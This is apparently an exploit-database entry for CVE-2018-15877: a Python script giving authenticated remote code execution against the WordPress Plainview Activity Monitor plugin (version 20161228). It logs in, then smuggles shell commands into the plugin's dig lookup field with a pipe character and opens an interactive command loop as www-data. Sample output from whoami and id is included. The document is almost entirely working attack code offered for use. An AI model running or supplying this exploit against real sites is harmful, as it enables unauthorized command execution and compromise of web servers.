Authored by Beren Kuday Gorun

WordPress Plainview Activity Monitor plugin version 20161228 authenticated remote code execution exploit.

advisories | CVE-2018-15877

# Exploit Title: WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)
# Date: 07.07.2021
# Exploit Author: Beren Kuday GORUN
# Vendor Homepage: https://wordpress.org/plugins/plainview-activity-monitor/
# Software Link: https://www.exploit-db.com/apps/2e1f384e5e49ab1d5fbf9eedf64c9a15-plainview-activity-monitor.20161228.zip
# Version: 20161228 and possibly prior
# Fixed version: 20180826
# CVE : CVE-2018-15877

"""
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Usage:
┌──([email protected])-[~/tools]
└─# python3 WordPress-Activity-Monitor-RCE.py
What's your target IP?
192.168.101.28
What's your username?
mark
What's your password?
password123
[*] Please wait...
[*] Perfect!
[email protected] whoami
www-data
[email protected] pwd
/var/www/html/wp-admin
[email protected] id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
"""

import requests
from bs4 import BeautifulSoup

def exploit(whoami, ip):
while 1:
cmd = input(whoami+"@"+ip+" ")
url = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'
payload = "google.com.tr | " + cmd
data = {'ip': payload , 'lookup' : 'lookup' }
x = requests.post(url, data = data, cookies=getCookie(ip))
html_doc = x.text.split("<p>Output from dig: </p>")[1]
soup = BeautifulSoup(html_doc, 'html.parser')
print(soup.p.text)

def poc(ip):
url = 'http://' + ip + '/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'
myobj = {'ip': 'google.fr | whoami', 'lookup' : 'lookup' }
x = requests.post(url, data = myobj, cookies=getCookie(ip))
html_doc = x.text.split("<p>Output from dig: </p>")[1]
soup = BeautifulSoup(html_doc, 'html.parser')
print("[*] Perfect! ")
exploit(soup.p.text, ip)

def getCookie(ip):
url = 'http://' + ip + '/wp-login.php'
#log=admin&pwd=admin&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwordy%2Fwp-admin%2F&testcookie=1
data = {'log':username, 'pwd':password, 'wp-submit':'Log In', 'testcookie':'1'}
x = requests.post(url, data = data)
cookies = {}
cookie = str(x.headers["Set-Cookie"])

for i in cookie.split():
if(i.find("wordpress") != -1 and i.find("=") != -1):
cookies[i.split("=")[0]] = i.split("=")[1][:len(i.split("=")[1])-1]
return cookies

ip = input("What's your target IP?n")
username = input("What's your username?n")
password = input("What's your password?n")
print("[*] Please wait...")
poc(ip)